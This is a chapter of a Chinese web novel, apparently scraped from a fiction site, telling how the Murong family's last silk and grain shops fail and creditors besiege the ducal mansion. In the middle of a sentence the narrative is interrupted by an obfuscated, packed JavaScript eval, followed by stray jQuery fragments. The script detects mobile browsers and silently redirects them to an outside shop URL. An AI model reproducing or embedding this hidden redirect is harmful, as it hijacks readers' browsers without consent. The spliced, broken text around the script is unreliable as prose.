文趣网 > 其他小说 > 九夫人 > 75. 商铺倒闭
    慕容家此前变卖大半祖产商铺,田庄铺面尽数脱手,只余下正街三间粮油铺、两间绸缎铺,撑着家族最后的营生门面。

    自国公薨逝,府中无主事之人,男丁或昏聩无能,或耽于享乐,无人过问铺面经营,这几处仅剩的生计日渐颓败。

    铺中掌柜见主家失势,个个心思涣散,遇事敷衍推诿,伙计们更是偷闲躲懒,账目无人核查,银钱出入混乱不堪,货品堆放库房从不清点打理。

    绸缎受潮生霉,粮油囤积结块,日日损耗,月月亏损,任凭账面亏空越来越大,终究是撑不下去,走到了关门歇业的地步。

    这几间商铺皆坐落于城内最繁华的正街,往日里何等风光。

    绸缎铺内,绫罗绸缎、云锦妆花分门别类,陈列得整整齐齐,色泽鲜亮,满目华贵,进店挑选的皆是世家眷属、富贵人家。

    粮油铺前,车马往来不绝,推车挑担的伙计穿梭不断,装卸粮米的声响整日不绝,铺面幌子高悬风中,匾额擦拭得锃亮生辉,一笔一划,都写着镇国公府的侯门气派。

    如今光景,早已不复从前。

    各铺面门板紧闭,一块块厚木板钉死铺面,缝隙间积满厚厚的尘灰,褪色的布幌子耷拉门楣上,被风一吹,有气无力地晃动,布面破损起毛,全无生气。

    窗棂糊纸被风雨撕扯得残破不堪,露出黑洞洞的窗口,任由冷风灌入,尘土堆积。

    街边行人路过此处,驻足侧目,对着紧闭的铺面指指点点,眼神里满是唏嘘,议论着昔日豪门的衰败,言语间尽是叹惋与冷眼。

    粮油铺内囤放的粮米受潮结块,一坨坨散落地面、柜面,霉味弥漫,无人清理,鼠虫穿梭其间,肆无忌惮。

    绸缎铺内少许名贵的绫罗绸缎沾染层层灰尘,光泽尽失,褶皱堆放货架上,边角生蛀,日渐陈旧腐朽,再无值钱模样。

    账房内账本散落一地,纸页泛黄卷曲,笔墨干涸凝固,往日里算盘声响、收银算账的热闹光景,荡然无存,满屋破败萧条。

    各铺掌柜见大势已去,各自收拾起私藏的细软银两,唤来伙计结清微薄工钱,尽数遣散,而后锁上破败铺面,将锈迹斑斑的钥匙一并交予府中管事,彻底关门歇业,与慕容家断了牵扯。

    这几间濒临倒闭的商铺本就是慕容家最后的经济来源,是家族维持最后体面、勉强偿还零星债务的唯一依仗。

    如今关门,意味着偌大的镇国公府断了银钱进项,府中分文无有,柴米油盐、日用开销,再无周转余地,百年世家至此无力回天。

    消息传回镇国公府不过一个时辰,府中上下便传遍开来,整座府邸陷入一片死寂。

    往日里即便萧条,尚有几分烟火气,此刻沉沉绝望笼罩着每一处院落,压得人喘不过气。

    大夫人所居院落本就因长子昏聩、不争气,日渐萧条冷清,屋内桌椅陈设陈旧不堪,布面磨损褪色,从未有人张罗更换。

    端坐榻上,大夫人手中捻着佛珠闭目养神,听闻管事传来商铺尽数倒闭的消息,指尖一松,手中佛珠滑落,一颗颗佛珠滚落青砖地面,声响清脆,格外刺耳。

    她垂眸看着滚落一地的佛珠,珠串散落,再也无法串起,如同慕容家的基业,面色惨白,嘴唇不住颤抖,半晌说不出一句话,眼中满是彻骨的绝望,再无神采。

    大夫人端坐不动,脊背微微佝偻,心中清明,知晓家族最后一点生路彻底断绝,往后日子,府中上上下下,再无指望之处,只能坐以待毙,等着这座百年府邸倾颓。

    屋内丫鬟侍立一旁,垂首屏息,手中捧着茶盏,添茶的动作都放得轻缓起来,生怕触怒悲恸的主母,更怕直面这豪门覆灭的无边绝望。

    二夫人院内花木枯萎,落叶满地,往日里她还能靠着自己出嫁时带来的些许私产,勉强维持院落生计,不至于太过窘迫。

    如今听闻家族断了进项,连最后一点营生都没了,当即浑身发软,瘫坐在椅上,手中未做完的绣活骤然掉落,针线笸箩翻倒,银针、丝线散乱一地,狼狈不堪。

    她望着院内枯萎凋零的花木,看着屋中破旧简陋的陈设,泪水无声从眼角滑落,顺着面颊淌下,滴落衣襟,晕开点点湿痕,满面愁容,眉眼间全是对往后生计的惶恐不安。

    府中早已断了各房月例,吃穿用度皆要精打细算,如今最后的进项彻底断绝,偌大的世家望族竟要落得衣食无着、饥寒交迫的境地,心中悲凉,难以言表。

    她望着空荡荡的院落,心中只剩一个念头,慕容家彻底垮了,百年基业,毁于一旦,再也没有翻身之日。

    三夫人素来性子好强,即便国公府日渐衰败,也强撑着世家主母的体面,衣着打理得整齐,屋内陈设虽旧,却也收拾得干净,不肯落人话柄。

    听闻商铺倒闭的消息,她手中端着的茶盏骤然一顿,随即重重磕在桌案上,瓷盏与木桌相撞,发出沉闷声响,盏中茶水溅出,浸湿桌布,留下大片水渍。

    她猛地站起身,双手扶着桌沿,在屋内来回踱步,脚步慌乱,面色灰败,眼神空洞无措,往日里强撑的体面与傲气崩塌瓦解。

    三夫人步履匆匆走遍院落,看着庭院里疯长的荒草,屋舍破败的门窗,府中残存的下人个个面露惶恐、四散不安。

    她终于明白,慕容家历经数百年的基业是真真正正完了,任凭谁都无力回天,任凭如何挣扎都挽不回覆灭的结局。

    各房夫人沉默垂泪,满面愁容,相对无言。

    往日里,各房之间还会为了些许利益、几分体面争执计较。

    如今,无人再有那份心思,人人心中都被豪门覆灭的绝望填满。

    整座镇国公府死气沉沉,如同一棵早已腐朽的枯木,根基尽毁,风一吹便要散架,再也撑不起百年侯门的躯壳。

    府中老管事面色仓皇,双目赤红,步履踉跄,一路穿过长满荒草的庭院,跨过破损的门槛,直奔慕容渊所在的院落。

    他面色惨白,额头布满密密麻麻的冷汗,汗珠顺着面颊滑落,浸湿胸前衣衫,眼神里满是绝望,浑身控制不住地颤抖,手中紧紧攥着各商铺交回的钥匙,金属钥匙硌进掌心。

    而此刻,慕容渊正宿醉初醒,慵懒地坐在屋内榻上,神色倦怠,眉眼间还带着宿醉的昏沉,脑中念着院外苏映杉的温柔缱绻,满心都是儿女情长、醉生梦死,对府中翻天覆地的变故一无所知。

    管事快步闯入屋内,顾不得擦拭冷汗,顾不得平复喘息,扑通一声跪倒在地上,双手高高捧着那一把锈迹斑斑的钥匙,仰头看向榻上的慕容渊。

    他艰难禀报:“公子,所有商铺都关门了,我们彻底没钱了!”

    慕容渊原本慵懒倦怠的神色,瞬间僵住,脸上的散漫、不在意铺展开去,双眼圆睁,怔怔地看着跪地痛哭的管事,一时没能反应过来,呆在原地,脑中一片空白。

    他呆坐片刻,宿醉带来的昏沉、混沌消散得无影无踪,心底开始蔓延无尽恐慌。

    缓缓撑着榻沿站起身,慕容渊脚步虚浮,身形晃了晃,险些跌倒,面色以肉眼可见的速度变得惨白,眼神涣散无光,嘴唇哆嗦着。

    周身血液仿佛瞬间凝固,浑身发冷,手脚冰凉,指尖、肩头都在控制不住地颤抖,整个人如同被抽走了所有力气。

    他并非不知这几间商铺是家族最后的依仗,却整日耽于享乐,从未过问上心,从没想过会倒闭得如此彻底,如此决绝。

    如今断了商铺进项,便意味着断了所有银钱来路,往后别说饮酒作乐、供养苏映杉,就连镇国公府上下的衣食住行、偿还外头的巨额债务,都再无办法。

    慕容渊站立原地,浑身无力,肩膀垮下,往日里即便落魄,也仅剩的一点世家公子的傲气,此刻荡然无存,满心懦弱、恐慌、无助。

    他看着跪地绝望,泪流满面的管事,看着屋内破旧不堪、毫无生气的陈设,听着院外呼啸而过

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17720586|208620||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    的风声,心中最后一道防线崩塌,终于认清这无法挽回的现实。

    慕容渊声音嘶哑微弱:“完了,一切都完了……”

    话音落下,他身形猛地一晃,双腿发软,险些瘫倒在地,管事连忙上前搀扶,稳住他的身形。

    慕容渊双目无神,眼底只剩一片死寂,如同没有灵魂的木偶站在原地,任由绝望将自己吞噬。

    不等慕容渊从这灭顶的绝望中缓过神,府外已是一片喧嚣,吵闹叫骂声震天,隔着厚重的府门清晰传入府中。

    债主们早已通过各种途径打探到慕容家所有商铺尽数倒闭的消息,得知这座百年侯门彻底断了经济来源,再也无力偿还欠下的巨额债务,当即成群结队,呼朋引伴,从四面八方涌向镇国公府。

    数十名债主围堵在府门前,一个个面色凶狠,用力拍打着府门,拍门声、叫骂声、叫嚣声喧嚣震天,言语比往日更加刻薄、更加凶狠。

    他们不再满足于口头逼债、门前叫嚣,纷纷扬言说,若是慕容家再不偿还欠款,便立刻去官府报备,请官差前来,动手查封府中所有院落,变卖府中屋舍、田地、剩余物件,哪怕是拆了这座国公府,也要抵偿所欠欠款。

    府门被拍得震天响,仿佛下一刻就要被撞开,刺耳的叫骂声、叫嚣声源源不断传入府中。

    府内残存的下人们吓得四散躲避,躲进屋内不敢出门,各房夫人听闻债主扬言要查封府邸,更是面色惨白,浑身瑟瑟发抖,满心绝望,再也撑不起体面。

    至此,镇国公府破灭如此。

    昔日权倾朝野、金玉满堂的名门望族,历经数百年基业,祖产、田产、商铺散尽,如今连最后一点营生也荡然无存,负债累累,被债主围堵上门,濒临被官府查封院落的境地。

    曾经的镇国公府车马盈门,宾客络绎不绝,朝中官员争相结交,世间众人皆艳羡不已,是人人仰望的豪门世家。

    如今落得这般田地,沦为全城上下的笑柄。

    街头巷尾,茶楼酒肆,人人议论纷纷,说起镇国公府皆是唏嘘感叹、嘲讽鄙夷,笑其盛极而衰,笑其子嗣不肖、挥霍无度、败光祖业。

    曾经的无上荣光、百年体面,化作世人的笑料,再也无人巴结、艳羡。

    府内庭院荒芜,荒草没径,屋舍破败,墙皮剥落。

    各房沉寂无声,人人面带绝望,惶恐不安。

    曾经的豪门气派、侯门威仪,消失殆尽,只剩下覆灭前的死寂与苍凉,笼罩着这座摇摇欲坠的府邸。

    慕容渊被管事死死搀扶着,脚步虚浮,一步步走出镇国公府,朝着城内那几间倒闭的商铺缓缓走去。

    沿途行人纷纷侧目,对着他指指点点,嘲讽的目光、鄙夷的神色、唏嘘的言语,落在他身上,传入他耳中。

    他浑然不觉,双目空洞,行尸走肉一般,步履蹒跚,一步一步,艰难朝着正街而去。

    行至那几间紧闭的商铺前,慕容渊停下脚步,呆呆地站立原地,任由寒风吹拂着他凌乱的发丝。

    眼前铺面门板紧闭,尘灰遍布,褪色的幌子无力耷拉在门楣上,随风晃动,往日的繁华热闹、车水马龙,早已消失不见,只剩下满目破败、萧条冷寂。

    他缓缓抬眼看着匾额上“慕容绸缎庄”“慕容粮油铺”的字迹,笔墨依旧,轮廓分明,早已没了往日的荣光与气派,如同慕容家族一般没落,再也回不到从前。

    站在街边,慕容渊身形佝偻,面色死灰,眼神空洞无神,周身透着无尽的无力、懦弱、颓然。

    往日里挥霍无度,醉生梦死的劲头,消失得无影无踪,眼底是绝望吞噬后的麻木与不堪。

    风吹过卷起地上的尘土,迷了人眼,吹得门上破旧的幌子微微晃动,发出细碎的声响,像是在为这百年豪门的覆灭发出最后的悲鸣。

    慕容渊站在风中一动不动,呆呆地看着紧闭的商铺大门,脑中一片空白,心里充斥着麻木与绝望。